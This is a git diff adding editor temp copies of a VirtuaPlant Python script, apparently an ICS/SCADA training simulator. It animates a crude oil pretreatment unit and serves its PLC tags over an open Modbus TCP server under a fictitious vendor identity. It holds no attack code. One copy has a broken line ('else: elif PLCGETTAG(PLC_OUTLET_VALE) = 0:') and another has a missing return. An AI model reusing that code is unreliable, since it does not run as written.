(387, 225) + radius = 4 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = sep_vessel_collision + space.add(shape) + return shape + +# Add the tank level sensor +def tank_level_sensor(space): + body = pymunk.Body() + body.position = (115, 535) + radius = 3 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = tank_level_collision # tank_level + space.add(shape) + return shape + +def outlet_valve_sensor(space): + body = pymunk.Body() + body.position = (70, 410) + # Check these coords and adjust + a = (-20, 10) + b = (20, 10) + radius = 4 + shape = pymunk.Segment(body, a, b, radius) + shape.collision_type = outlet_valve_collision + space.add(shape) + return shape + +def oil_spill_sensor(space): + body = pymunk.Body() + body.position = (0, 0) + radius = 7 + a = (0, 75) + b = (SCREEN_WIDTH, 75) + shape = pymunk.Segment(body, a, b, radius) + shape.collision_type = oil_spill_collision # oil spill sensor + space.add(shape) + return shape + +# Add the feed pump to the space +def add_pump(space): + body = pymunk.Body() + body.position = (70, 585) + shape = pymunk.Poly.create_box(body, (15, 20), (0, 0), 0) + space.add(shape) + return shape + +# Draw the various "pipes" that the oil flows through +# TODO: Get rid of magic numbers and add constants + offsets +def add_oil_unit(space): + body = pymunk.Body() + body.position = (300,300) + + #oil storage unit + l1 = pymunk.Segment(body, (-278, 270), (-278, 145), 5) #left side line + l2 = pymunk.Segment(body, (-278, 145), (-246, 107), 5) + l3 = pymunk.Segment(body, (-180, 270), (-180, 145), 5) #right side line + l4 = pymunk.Segment(body, (-180, 145), (-215, 107), 5) + + #pipe to separator vessel + l5 = pymunk.Segment(body, (-246, 107), (-246, 53), 5) #left side vertical line + l6 = pymunk.Segment(body, (-246, 53), (-19, 53), 5) #bottom horizontal line + l7 = pymunk.Segment(body, (-19, 53), (-19, 33), 5) + l8 = pymunk.Segment(body, (-215, 107), (-215, 80), 5) #right side vertical line + l9 = pymunk.Segment(body, (-215, 80), (7, 80), 5) #top horizontal line + l10 = pymunk.Segment(body, (7, 80), (7, 33), 5) + + #separator vessel + l11 = pymunk.Segment(body, (-19, 31), (-95, 31), 5) #top left horizontal line + l12 = pymunk.Segment(body, (-95, 31), (-95, -23), 5) #left side vertical line + l13 = pymunk.Segment(body, (-95, -23), (-83, -23), 5) + l14 = pymunk.Segment(body, (-83, -23), (-80, -80), 5) #left waste exit line + l15 = pymunk.Segment(body, (-68, -80), (-65, -23), 5) #right waste exit line + l16 = pymunk.Segment(body, (-65, -23), (-45, -23), 5) + l17 = pymunk.Segment(body, (-45, -23), (-45, -67), 5) #elevation vertical line + l18 = pymunk.Segment(body, (-45, -67), (13, -67), 5) #left bottom line + l19 = pymunk.Segment(body, (13, -67), (13, -82), 5) #left side separator exit line + l20 = pymunk.Segment(body, (43, -82), (43, -67), 5) #right side separator exit line + l21 = pymunk.Segment(body, (43, -67), (65, -62), 5) #rigt side diagonal line + l22 = pymunk.Segment(body, (65, -62), (77, 31), 5) #right vertical line + l23 = pymunk.Segment(body, (77, 31), (7, 31), 5) #top right horizontal line + l24 = pymunk.Segment(body, (-3, -67), (-3, 10), 5) #center separator line + + #separator exit pipe + l25 = pymunk.Segment(body, (43, -85), (43, -113), 5) #right side vertical line + l26 = pymunk.Segment(body, (43, -113), (580, -113), 5) #top horizontal line + l27 = pymunk.Segment(body, (13, -85), (13, -140), 5) #left vertical line + l28 = pymunk.Segment(body, (13, -140), (580, -140), 5) #bottom horizontal line + + #waste water pipe + l29 = pymunk.Segment(body, (-87, -85), (-87, -112), 5) #left side waste line + l30 = pymunk.Segment(body, (-60, -85), (-60, -140), 5) #right side waste line + l31 = pymunk.Segment(body, (-87, -112), (-163, -112), 5) #top horizontal line + l32 = pymunk.Segment(body, (-60, -140), (-134, -140), 5) #bottom horizontal line + l33 = pymunk.Segment(body, (-163, -112), (-163, -185), 5) #left side vertical line + l34 = pymunk.Segment(body, (-134, -140), (-134, -185), 5) #right side vertical line + + space.add(l1, l2, l3, l4, l5, l6, l7, l8, l9, l10, l11, l12, l13, l14, l15, + l16, l17, l18, l19, l20, l21, l22, l23, l24, l25, + l26, l27, l28, l29, l30, l31, l32, l33, l34) # 3 + + return (l1,l2,l3,l4,l5,l6,l7,l8,l9,l10,l11,l12,l13,l14,l15,l16, + l17,l18,l19,l20,l21,l22,l23,l24,l25,l26,l27,l28,l29,l30, + l31,l32,l33,l34) + +def draw_polygon(bg, shape): + points = shape.get_vertices() + fpoints = [] + for p in points: + fpoints.append(to_pygame(p)) + pygame.draw.polygon(bg, THECOLORS['black'], fpoints) + +# Draw a single line to the screen +def draw_line(screen, line, color = None): + body = line.body + pv1 = body.position + line.a.rotated(body.angle) # 1 + pv2 = body.position + line.b.rotated(body.angle) + p1 = to_pygame(pv1) # 2 + p2 = to_pygame(pv2) + if color is None: + pygame.draw.lines(screen, THECOLORS["black"], False, [p1,p2]) + else: + pygame.draw.lines(screen, color, False, [p1,p2]) + +# Draw lines from an iterable list +def draw_lines(screen, lines): + for line in lines: + body = line.body + pv1 = body.position + line.a.rotated(body.angle) # 1 + pv2 = body.position + line.b.rotated(body.angle) + p1 = to_pygame(pv1) # 2 + p2 = to_pygame(pv2) + pygame.draw.lines(screen, THECOLORS["gray"], False, [p1,p2]) + +# Default collision function for objects +# Returning true makes the two objects collide normally just like "walls/pipes" +def no_collision(space, arbiter, *args, **kwargs): + return True + +# Called when level sensor in tank is hit +def level_reached(space, arbiter, *args, **kwargs): + log.debug("Level reached") + PLCSetTag(PLC_TANK_LEVEL, 1) # Level Sensor Hit, Tank full + PLCSetTag(PLC_FEED_PUMP, 0) # Turn off the pump +# PLCSetTag(PLC_OUTLET_VALVE, 1) # Set the outlet valve to 1 + return False + +def oil_spilled(space, arbiter, *args, **kwargs): + global oil_spilled_amount + global oil_processed_amount + log.debug("Oil Spilled") + oil_spilled_amount = oil_spilled_amount + 1 + PLCSetTag(PLC_OIL_SPILL, oil_spilled_amount) # We lost a unit of oil + PLCSetTag(PLC_FEED_PUMP, 0) # Attempt to shut off the pump + return False + +# This fires when the separator level is hit +def sep_on(space, arbiter, *args, **kwargs): + log.debug("Begin separation") + PLCSetTag(PLC_SEP_VESSEL, 1) # Sep vessel hit, begin processing + return False + +# This fires when the separator is not processing +def sep_off(space, arbiter, *args, **kwargs): + log.debug("Begin separation") + PLCSetTag(PLC_SEP_VESSEL, 0) # Sep vessel hit, begin processing + return False + +def sep_feed_on(space, arbiter, *args, **kwargs): + log.debug("Outlet Feed") + PLCSetTag(PLC_SEP_FEED, 1) + return False + +def outlet_valve_open(space, arbiter, *args, **kwargs): + log.debug("Outlet valve open") + PLCSetTag(PLC_OUTLET_VALVE, 0) + return False + +def outlet_valve_closed(space, arbiter, *args, **kwargs): + log.debug("Outlet valve close") + PLCSetTag(PLC_OUTLET_VALVE, 1) + return False + +def run_world(): + pygame.init() + screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT)) + pygame.display.set_caption("Crude Oil Pretreatment Unit") + clock = pygame.time.Clock() + running = True + + + # Create game space (world) and set gravity to normal + space = pymunk.Space() #2 + space.gravity = (0.0, -900.0) + + # When oil collides with tank_level, call level_reached + space.add_collision_handler(tank_level_collision, ball_collision, begin=level_reached) + space.add_collision_handler(oil_spill_collision, ball_collision, begin=oil_spilled) + + + pump = add_pump(space) + lines = add_oil_unit(space) + tank_level = tank_level_sensor(space) + separator_vessel = separator_vessel_release(space) + separator_feed = separator_vessel_feed(space) + separator_feed = separator_vessel_feed(space) + oil_spill = oil_spill_sensor(space) + outlet = outlet_valve_sensor(space) + + + balls = [] + + ticks_to_next_ball = 1 + + # Set font settings + fontBig = pygame.font.SysFont(None, 40) + fontMedium = pygame.font.SysFont(None, 26) + fontSmall = pygame.font.SysFont(None, 18) + + while running: + # Advance the game clock + clock.tick(FPS) + + for event in pygame.event.get(): + if event.type == QUIT: + running = False + elif event.type == KEYDOWN and event.key == K_ESCAPE: + running = False + + bg = pygame.image.load("oil_unit.png") + + screen.fill(THECOLORS["grey"]) + + # If the feed pump is on + if PLCGetTag(PLC_FEED_PUMP) == 1: + # Draw the valve if the pump is on + # If the oil reaches the level sensor at the top of the tank + if (PLCGetTag(PLC_TANK_LEVEL) == 1): + PLCSetTag(PLC_FEED_PUMP, 0) + space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on) + space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on) + + else: + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision) + + if PLCGetTag(PLC_OUTLET_VALVE) == 1: # Valve is closed + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=outlet_valve_closed) + elif PLCGetTag(PLC_OUTLET_VALVE) == 0: # Valve is open + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision) + + # If the separator process is turned on + if PLCGetTag(PLC_SEP_VESSEL) == 1: + space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on) + space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on) + else: + elif PLCGETTAG(PLC_OUTLET_VALE) = 0: # Valve is open + space.add_collision_handler(separator_collision, ball_collision, begin=no_collision) + + + ticks_to_next_ball -= 1 + + if ticks_to_next_ball <= 0 and PLCGetTag(PLC_FEED_PUMP) == 1: + ticks_to_next_ball = 1 + ball_shape = add_ball(space) + balls.append(ball_shape) + + balls_to_remove = [] + for ball in balls: + if ball.body.position.y < 0 or ball.body.position.x > SCREEN_WIDTH+150: + balls_to_remove.append(ball) + + draw_ball(bg, ball) + + for ball in balls_to_remove: + space.remove(ball, ball.body) + balls.remove(ball) + + draw_polygon(bg, pump) + draw_lines(bg, lines) + draw_ball(bg, tank_level, THECOLORS['black']) + draw_ball(bg, separator_vessel, THECOLORS['black']) + draw_ball(bg, separator_feed, THECOLORS['black']) + draw_line(bg, outlet) + + #draw_ball(screen, separator_feed, THECOLORS['red']) + title = fontMedium.render(str("Crude Oil Pretreatment Unit"), 1, THECOLORS['blue']) + name = fontBig.render(str("VirtuaPlant"), 1, THECOLORS['gray20']) + instructions = fontSmall.render(str("(press ESC to quit)"), 1, THECOLORS['gray']) + feed_pump_label = fontMedium.render(str("Feed Pump"), 1, THECOLORS['blue']) + oil_storage_label = fontMedium.render(str("Oil Storage Unit"), 1, THECOLORS['blue']) + separator_label = fontMedium.render(str("Separator Vessel"), 1, THECOLORS['blue']) + waste_water_label = fontMedium.render(str("Waste Water Treatment Unit"), 1, THECOLORS['blue']) + tank_sensor = fontSmall.render(str("Tank Level Sensor"), 1, THECOLORS['blue']) + separator_release = fontSmall.render(str("Separator Vessel Release Sensor"), 1, THECOLORS['blue']) + waste_sensor = fontSmall.render(str("Waste Water Sensor"), 1, THECOLORS['blue']) + outlet_sensor = fontSmall.render(str("Outlet Valve Sensor"), 1, THECOLORS['blue']) + + bg.blit(title, (300, 40)) + bg.blit(name, (347, 10)) + bg.blit(instructions, (SCREEN_WIDTH-115, 0)) + bg.blit(feed_pump_label, (80, 0)) + bg.blit(oil_storage_label, (125, 100)) + bg.blit(separator_label, (385,275)) + screen.blit(waste_water_label, (265, 490)) + bg.blit(tank_sensor, (125, 50)) + bg.blit(outlet_sensor, (90, 195)) + bg.blit(separator_release, (350, 375)) + bg.blit(waste_sensor, (90, 375)) + screen.blit(bg, (0, 0)) + + space.step(1/FPS) + pygame.display.flip() + + if reactor.running: + reactor.callFromThread(reactor.stop) + +store = ModbusSlaveContext( + di = ModbusSequentialDataBlock(0, [0]*100), + co = ModbusSequentialDataBlock(0, [0]*100), + hr = ModbusSequentialDataBlock(0, [0]*100), + ir = ModbusSequentialDataBlock(0, [0]*100)) + +context = ModbusServerContext(slaves=store, single=True) + +# Modbus PLC server information +identity = ModbusDeviceIdentification() +identity.VendorName = 'Simmons Oil Refining Platform' +identity.ProductCode = 'SORP' +identity.VendorUrl = 'http://simmons.com/markets/oil-gas/pages/refining-industry.html' +identity.ProductName = 'SORP 3850' +identity.ModelName = 'Simmons ORP 3850' +identity.MajorMinorRevision = '2.09.01' + +def startModbusServer(): + # Run a modbus server on specified address and modbus port (5020) + StartTcpServer(context, identity=identity, address=(args.server_addr, MODBUS_SERVER_PORT)) + +def main(): + reactor.callInThread(run_world) + startModbusServer() + +if __name__ == '__main__': + sys.exit(main()) diff --git a/plants/oil-refinery/.~c9_invoke_pApcQc.py b/plants/oil-refinery/.~c9_invoke_pApcQc.py new file mode 100644 index 0000000..04bbddb --- /dev/null +++ b/plants/oil-refinery/.~c9_invoke_pApcQc.py @@ -0,0 +1,468 @@ +#!/usr/bin/env python +import logging + +# - Multithreading +from twisted.internet import reactor + +# - Modbus +from pymodbus.server.async import StartTcpServer +from pymodbus.device import ModbusDeviceIdentification +from pymodbus.datastore import ModbusSequentialDataBlock +from pymodbus.datastore import ModbusSlaveContext, ModbusServerContext +from pymodbus.transaction import ModbusRtuFramer, ModbusAsciiFramer + +# - World Simulator +import sys, random +import pygame +from pygame.locals import * +from pygame.color import * +import pymunk + +import socket + +import argparse +import os +import sys +import time + +# Override Argument parser to throw error and generate help message +# if undefined args are passed +class MyParser(argparse.ArgumentParser): + def error(self, message): + sys.stderr.write('error: %s\n' % message) + self.print_help() + sys.exit(2) + +# Create argparser object to add command line args and help option +parser = MyParser( + description = 'This Python script starts the SCADA/ICS World Server', + epilog = '', + add_help = True) + +# Add a "-i" argument to receive a filename +parser.add_argument("-t", action = "store", dest="server_addr", + help = "Modbus server IP address to listen on") + +# Print help if no args are supplied +if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + +# Split and process arguments into "args" +args = parser.parse_args() + +logging.basicConfig() +log = logging.getLogger() +log.setLevel(logging.INFO) + +# Display settings +SCREEN_WIDTH = 580 +SCREEN_HEIGHT = 460 +FPS=50.0 + +# Port the world will listen on +MODBUS_SERVER_PORT=5020 + +# Amount of oil spilled/processed +oil_spilled_amount = 0 +oil_processed_amount = 0 + +# PLC Register values for various control functions +PLC_FEED_PUMP = 0x01 +PLC_TANK_LEVEL = 0x02 +PLC_OUTLET_VALVE = 0x03 +PLC_SEP_VESSEL = 0x04 +PLC_SEP_FEED = 0x05 +PLC_OIL_SPILL = 0x06 +PLC_OIL_PROCESSED = 0x07 + +# Collision types +tank_level_collision = 0x4 +ball_collision = 0x5 +outlet_valve_collision = 0x6 +sep_vessel_collision = 0x7 +separator_collision = 0x8 +oil_spill_collision = 0x9 + + +def to_pygame(p): + """Small hack to convert pymunk to pygame coordinates""" + return int(p.x), int(-p.y+600) + +# Add "oil" to the world space +def add_ball(space): + mass = 0.01 + radius = 3 + inertia = pymunk.moment_for_circle(mass, 0, radius, (0,0)) + body = pymunk.Body(mass, inertia) + body._bodycontents.v_limit = 120 + body._bodycontents.h_limit = 1 + x = random.randint(69, 70) + body.position = x, 565 + shape = pymunk.Circle(body, radius, (0,0)) + shape.collision_type = ball_collision #liquid + space.add(body, shape) + return shape + +# Add a ball to the space +def draw_ball(screen, ball, color=THECOLORS['brown']): + p = int(ball.body.position.x), 600-int(ball.body.position.y) + pygame.draw.circle(screen, color, p, int(ball.radius), 2) + +# Add the separator vessel feed +def separator_vessel_feed(space): + body = pymunk.Body() + body.position = (420, 257) + radius = 4 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = separator_collision # Collision value for separator + space.add(shape) + return shape + +# Add the separator vessel release +def separator_vessel_release(space): + body = pymunk.Body() + body.position = (387, 225) + radius = 4 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = sep_vessel_collision + space.add(shape) + return shape + +# Add the tank level sensor +def tank_level_sensor(space): + body = pymunk.Body() + body.position = (115, 535) + radius = 3 + shape = pymunk.Circle(body, radius, (0, 0)) + shape.collision_type = tank_level_collision # tank_level + space.add(shape) + return shape + +def outlet_valve_sensor(space): + body = pymunk.Body() + body.position = (70, 410) + # Check these coords and adjust + a = (-20, 10) + b = (20, 10) + radius = 4 + shape = pymunk.Segment(body, a, b, radius) + shape.collision_type = outlet_valve_collision + space.add(shape) + + +def oil_spill_sensor(space): + body = pymunk.Body() + body.position = (0, 0) + radius = 7 + a = (0, 75) + b = (SCREEN_WIDTH, 75) + shape = pymunk.Segment(body, a, b, radius) + shape.collision_type = oil_spill_collision # oil spill sensor + space.add(shape) + return shape + +# Add the feed pump to the space +def add_pump(space): + body = pymunk.Body() + body.position = (70, 585) + shape = pymunk.Poly.create_box(body, (15, 20), (0, 0), 0) + space.add(shape) + return shape + +# Draw the various "pipes" that the oil flows through +# TODO: Get rid of magic numbers and add constants + offsets +def add_oil_unit(space): + body = pymunk.Body() + body.position = (300,300) + + #oil storage unit + l1 = pymunk.Segment(body, (-278, 270), (-278, 145), 5) #left side line + l2 = pymunk.Segment(body, (-278, 145), (-246, 107), 5) + l3 = pymunk.Segment(body, (-180, 270), (-180, 145), 5) #right side line + l4 = pymunk.Segment(body, (-180, 145), (-215, 107), 5) + + #pipe to separator vessel + l5 = pymunk.Segment(body, (-246, 107), (-246, 53), 5) #left side vertical line + l6 = pymunk.Segment(body, (-246, 53), (-19, 53), 5) #bottom horizontal line + l7 = pymunk.Segment(body, (-19, 53), (-19, 33), 5) + l8 = pymunk.Segment(body, (-215, 107), (-215, 80), 5) #right side vertical line + l9 = pymunk.Segment(body, (-215, 80), (7, 80), 5) #top horizontal line + l10 = pymunk.Segment(body, (7, 80), (7, 33), 5) + + #separator vessel + l11 = pymunk.Segment(body, (-19, 31), (-95, 31), 5) #top left horizontal line + l12 = pymunk.Segment(body, (-95, 31), (-95, -23), 5) #left side vertical line + l13 = pymunk.Segment(body, (-95, -23), (-83, -23), 5) + l14 = pymunk.Segment(body, (-83, -23), (-80, -80), 5) #left waste exit line + l15 = pymunk.Segment(body, (-68, -80), (-65, -23), 5) #right waste exit line + l16 = pymunk.Segment(body, (-65, -23), (-45, -23), 5) + l17 = pymunk.Segment(body, (-45, -23), (-45, -67), 5) #elevation vertical line + l18 = pymunk.Segment(body, (-45, -67), (13, -67), 5) #left bottom line + l19 = pymunk.Segment(body, (13, -67), (13, -82), 5) #left side separator exit line + l20 = pymunk.Segment(body, (43, -82), (43, -67), 5) #right side separator exit line + l21 = pymunk.Segment(body, (43, -67), (65, -62), 5) #rigt side diagonal line + l22 = pymunk.Segment(body, (65, -62), (77, 31), 5) #right vertical line + l23 = pymunk.Segment(body, (77, 31), (7, 31), 5) #top right horizontal line + l24 = pymunk.Segment(body, (-3, -67), (-3, 10), 5) #center separator line + + #separator exit pipe + l25 = pymunk.Segment(body, (43, -85), (43, -113), 5) #right side vertical line + l26 = pymunk.Segment(body, (43, -113), (580, -113), 5) #top horizontal line + l27 = pymunk.Segment(body, (13, -85), (13, -140), 5) #left vertical line + l28 = pymunk.Segment(body, (13, -140), (580, -140), 5) #bottom horizontal line + + #waste water pipe + l29 = pymunk.Segment(body, (-87, -85), (-87, -112), 5) #left side waste line + l30 = pymunk.Segment(body, (-60, -85), (-60, -140), 5) #right side waste line + l31 = pymunk.Segment(body, (-87, -112), (-163, -112), 5) #top horizontal line + l32 = pymunk.Segment(body, (-60, -140), (-134, -140), 5) #bottom horizontal line + l33 = pymunk.Segment(body, (-163, -112), (-163, -185), 5) #left side vertical line + l34 = pymunk.Segment(body, (-134, -140), (-134, -185), 5) #right side vertical line + + space.add(l1, l2, l3, l4, l5, l6, l7, l8, l9, l10, l11, l12, l13, l14, l15, + l16, l17, l18, l19, l20, l21, l22, l23, l24, l25, + l26, l27, l28, l29, l30, l31, l32, l33, l34) # 3 + + return (l1,l2,l3,l4,l5,l6,l7,l8,l9,l10,l11,l12,l13,l14,l15,l16, + l17,l18,l19,l20,l21,l22,l23,l24,l25,l26,l27,l28,l29,l30, + l31,l32,l33,l34) + +def draw_polygon(bg, shape): + points = shape.get_vertices() + fpoints = [] + for p in points: + fpoints.append(to_pygame(p)) + pygame.draw.polygon(bg, THECOLORS['black'], fpoints) + +# Draw a single line to the screen +def draw_line(screen, line, color = None): + body = line.body + pv1 = body.position + line.a.rotated(body.angle) # 1 + pv2 = body.position + line.b.rotated(body.angle) + p1 = to_pygame(pv1) # 2 + p2 = to_pygame(pv2) + if color is None: + pygame.draw.lines(screen, THECOLORS["black"], False, [p1,p2]) + else: + pygame.draw.lines(screen, color, False, [p1,p2]) + +# Draw lines from an iterable list +def draw_lines(screen, lines): + for line in lines: + body = line.body + pv1 = body.position + line.a.rotated(body.angle) # 1 + pv2 = body.position + line.b.rotated(body.angle) + p1 = to_pygame(pv1) # 2 + p2 = to_pygame(pv2) + pygame.draw.lines(screen, THECOLORS["gray"], False, [p1,p2]) + +# Default collision function for objects +# Returning true makes the two objects collide normally just like "walls/pipes" +def no_collision(space, arbiter, *args, **kwargs): + return True + +# Called when level sensor in tank is hit +def level_reached(space, arbiter, *args, **kwargs): + log.debug("Level reached") + PLCSetTag(PLC_TANK_LEVEL, 1) # Level Sensor Hit, Tank full + PLCSetTag(PLC_FEED_PUMP, 0) # Turn off the pump +# PLCSetTag(PLC_OUTLET_VALVE, 1) # Set the outlet valve to 1 + return False + +def oil_spilled(space, arbiter, *args, **kwargs): + global oil_spilled_amount + global oil_processed_amount + log.debug("Oil Spilled") + oil_spilled_amount = oil_spilled_amount + 1 + PLCSetTag(PLC_OIL_SPILL, oil_spilled_amount) # We lost a unit of oil + PLCSetTag(PLC_FEED_PUMP, 0) # Attempt to shut off the pump + return False + +# This fires when the separator level is hit +def sep_on(space, arbiter, *args, **kwargs): + log.debug("Begin separation") + PLCSetTag(PLC_SEP_VESSEL, 1) # Sep vessel hit, begin processing + return False + +# This fires when the separator is not processing +def sep_off(space, arbiter, *args, **kwargs): + log.debug("Begin separation") + PLCSetTag(PLC_SEP_VESSEL, 0) # Sep vessel hit, begin processing + return False + +def sep_feed_on(space, arbiter, *args, **kwargs): + log.debug("Outlet Feed") + PLCSetTag(PLC_SEP_FEED, 1) + return False + +def outlet_valve_open(space, arbiter, *args, **kwargs): + log.debug("Outlet valve open") + PLCSetTag(PLC_OUTLET_VALVE, 0) + return False + +def outlet_valve_closed(space, arbiter, *args, **kwargs): + log.debug("Outlet valve close") + PLCSetTag(PLC_OUTLET_VALVE, 1) + return False + +def run_world(): + pygame.init() + screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT)) + pygame.display.set_caption("Crude Oil Pretreatment Unit") + clock = pygame.time.Clock() + running = True + + + # Create game space (world) and set gravity to normal + space = pymunk.Space() #2 + space.gravity = (0.0, -900.0) + + # When oil collides with tank_level, call level_reached + space.add_collision_handler(tank_level_collision, ball_collision, begin=level_reached) + space.add_collision_handler(oil_spill_collision, ball_collision, begin=oil_spilled) + + + pump = add_pump(space) + lines = add_oil_unit(space) + tank_level = tank_level_sensor(space) + separator_vessel = separator_vessel_release(space) + separator_feed = separator_vessel_feed(space) + separator_feed = separator_vessel_feed(space) + oil_spill = oil_spill_sensor(space) + outlet = outlet_valve_sensor(space) + + + balls = [] + + ticks_to_next_ball = 1 + + # Set font settings + fontBig = pygame.font.SysFont(None, 40) + fontMedium = pygame.font.SysFont(None, 26) + fontSmall = pygame.font.SysFont(None, 18) + + while running: + # Advance the game clock + clock.tick(FPS) + + for event in pygame.event.get(): + if event.type == QUIT: + running = False + elif event.type == KEYDOWN and event.key == K_ESCAPE: + running = False + + bg = pygame.image.load("oil_unit.png") + + screen.fill(THECOLORS["grey"]) + + # If the feed pump is on + if PLCGetTag(PLC_FEED_PUMP) == 1: + # Draw the valve if the pump is on + # If the oil reaches the level sensor at the top of the tank + if (PLCGetTag(PLC_TANK_LEVEL) == 1): + PLCSetTag(PLC_FEED_PUMP, 0) + space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on) + space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on) + + else: + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision) + + if PLCGetTag(PLC_OUTLET_VALVE) == 1: # Valve is closed + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=outlet_valve_closed) + elif PLCGetTag(PLC_OUTLET_VALVE) == 0: # Valve is open + space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision) + + # If the separator process is turned on + if PLCGetTag(PLC_SEP_VESSEL) == 1: + space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on) + space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on) + else: + space.add_collision_handler(sep_vessel_collision, ball_collision, begin=no_collision) + space.add_collision_handler(separator_collision, ball_collision, begin=no_collision) + + + ticks_to_next_ball -= 1 + + if ticks_to_next_ball <= 0 and PLCGetTag(PLC_FEED_PUMP) == 1: + ticks_to_next_ball = 1 + ball_shape = add_ball(space) + balls.append(ball_shape) + + balls_to_remove = [] + for ball in balls: + if ball.body.position.y < 0 or ball.body.position.x > SCREEN_WIDTH+150: + balls_to_remove.append(ball) + + draw_ball(bg, ball) + + for ball in balls_to_remove: + space.remove(ball, ball.body) + balls.remove(ball) + + draw_polygon(bg, pump) + draw_lines(bg, lines) + draw_ball(bg, tank_level, THECOLORS['black']) + draw_ball(bg, separator_vessel, THECOLORS['black']) + draw_ball(bg, separator_feed, THECOLORS['black']) + draw_line(bg, outlet) + + #draw_ball(screen, separator_feed, THECOLORS['red']) + title = fontMedium.render(str("Crude Oil Pretreatment Unit"), 1, THECOLORS['blue']) + name = fontBig.render(str("VirtuaPlant"), 1, THECOLORS['gray20']) + instructions = fontSmall.render(str("(press ESC to quit)"), 1, THECOLORS['gray']) + feed_pump_label = fontMedium.render(str("Feed Pump"), 1, THECOLORS['blue']) + oil_storage_label = fontMedium.render(str("Oil Storage Unit"), 1, THECOLORS['blue']) + separator_label = fontMedium.render(str("Separator Vessel"), 1, THECOLORS['blue']) + waste_water_label = fontMedium.render(str("Waste Water Treatment Unit"), 1, THECOLORS['blue']) + tank_sensor = fontSmall.render(str("Tank Level Sensor"), 1, THECOLORS['blue']) + separator_release = fontSmall.render(str("Separator Vessel Release Sensor"), 1, THECOLORS['blue']) + waste_sensor = fontSmall.render(str("Waste Water Sensor"), 1, THECOLORS['blue']) + outlet_sensor = fontSmall.render(str("Outlet Valve Sensor"), 1, THECOLORS['blue']) + + bg.blit(title, (300, 40)) + bg.blit(name, (347, 10)) + bg.blit(instructions, (SCREEN_WIDTH-115, 0)) + bg.blit(feed_pump_label, (80, 0)) + bg.blit(oil_storage_label, (125, 100)) + bg.blit(separator_label, (385,275)) + screen.blit(waste_water_label, (265, 490)) + bg.blit(tank_sensor, (125, 50)) + bg.blit(outlet_sensor, (90, 195)) + bg.blit(separator_release, (350, 375)) + bg.blit(waste_sensor, (90, 375)) + screen.blit(bg, (0, 0)) + + space.step(1/FPS) + pygame.display.flip() + + if reactor.running: + reactor.callFromThread(reactor.stop) + +store = ModbusSlaveContext( + di = ModbusSequentialDataBlock(0, [0]*100), + co = ModbusSequentialDataBlock(0, [0]*100), + hr = ModbusSequentialDataBlock(0, [0]*100), + ir = ModbusSequentialDataBlock(0, [0]*100)) + +context = ModbusServerContext(slaves=store, single=True) + +# Modbus PLC server information +identity = ModbusDeviceIdentification() +identity.VendorName = 'Simmons Oil Refining Platform' +identity.ProductCode = 'SORP' +identity.VendorUrl = 'http://simmons.com/markets/oil-gas/pages/refining-industry.html' +identity.ProductName = 'SORP 3850' +identity.ModelName = 'Simmons ORP 3850' +identity.MajorMinorRevision = '2.09.01' + +def startModbusServer(): + # Run a modbus server on specified address and modbus port (5020) + StartTcpServer(context, identity=identity, address=(args.server_addr, MODBUS_SERVER_PORT)) + +def main(): + reactor.callInThread(run_world) + startModbusServer() + +if __name__ == '__main__': + sys.exit(main()) diff --git a/plants/oil-refinery/.~c9_invoke_pqDEGS.py b/plants/oil-refinery/.~c9_invoke_pqDEGS.py new file mode 100644 index 0000000..937edd3 --- /dev/null +++ b/plants/oil-refinery/.~c9_invoke_pqDEGS.py @@ -0,0 +1,468 @@ +#!/usr/bin/env python +import logging + +# - Multithreading +from twisted.internet import reactor + +# - Modbus +from pymodbus.server.async import StartTcpServer +from pymodbus.device import ModbusDeviceIdentification +from pymodbus.datastore import ModbusSequentialDataBlock +from pymodbus.datastore import ModbusSlaveContext, ModbusServerContext +from pymodbus.transaction import ModbusRtuFramer, ModbusAsciiFramer + +# - World Simulator +import sys, random +import pygame +from pygame.locals import * +from pygame.color import * +import pymunk + +import socket + +import argparse +import os +import sys +import time + +# Override Argument parser to throw error and generate help message +# if undefined args are passed +class MyParser(argparse.ArgumentParser): + def error(self, message): + sys.stderr.write('error: %s\n' % message) + self.print_help() + sys.exit(2) + +# Create argparser object to add command line args and help option +parser = MyParser( + description = 'This Python script starts the SCADA/ICS World Server', + epilog = '', + add_help = True) + +# Add a "-i" argument to receive a filename +parser.add_argument("-t", action = "store", dest="server_addr", + help = "Modbus server IP address to listen on") + +# Print help if no args are supplied +if len(sys.argv)==1: + parser.print_help() + sys.exit(1) + +# Split and process arguments into "args" +args = parser.parse_args() + +logging.basicConfig() +log = logging.getLogger() +log.setLevel(logging.INFO) + +# Display settings +SCREEN_WIDTH = 580 +SCREEN_HEIGHT = 460 +FPS=50.0 + +# Port the world will listen on +MODBUS_SERVER_PORT=5020 + +# Amount of oil spilled/processed +oil_spilled_amount = 0 +oil_processed_amount = 0 + +# PLC Register values for various control functions +PLC_FEED_PUMP = 0x01 +PLC_TANK_LEVEL = 0x02 +PLC_OUTLET_VALVE = 0x03 +PLC_SEP_VESSEL = 0x04 +PLC_SEP_FEED = 0x05 +PLC_OIL_SPILL = 0x06 +PLC_OIL_PROCESSED = 0x07 + +# Collision types +tank_level_collision = 0x4 +ball_collision = 0x5 +outlet_valve_collision = 0x6 +sep_vessel_collision = 0x7 +separator_collision = 0x8 +oil_spill_collision = 0x9 + + +def to_pygame(p): + """Small hack to convert pymunk to pygame coordinates""" + return int(p.x), int(-p.y+600) + +# Add "oil" to the world space +def add_ball(space): + mass 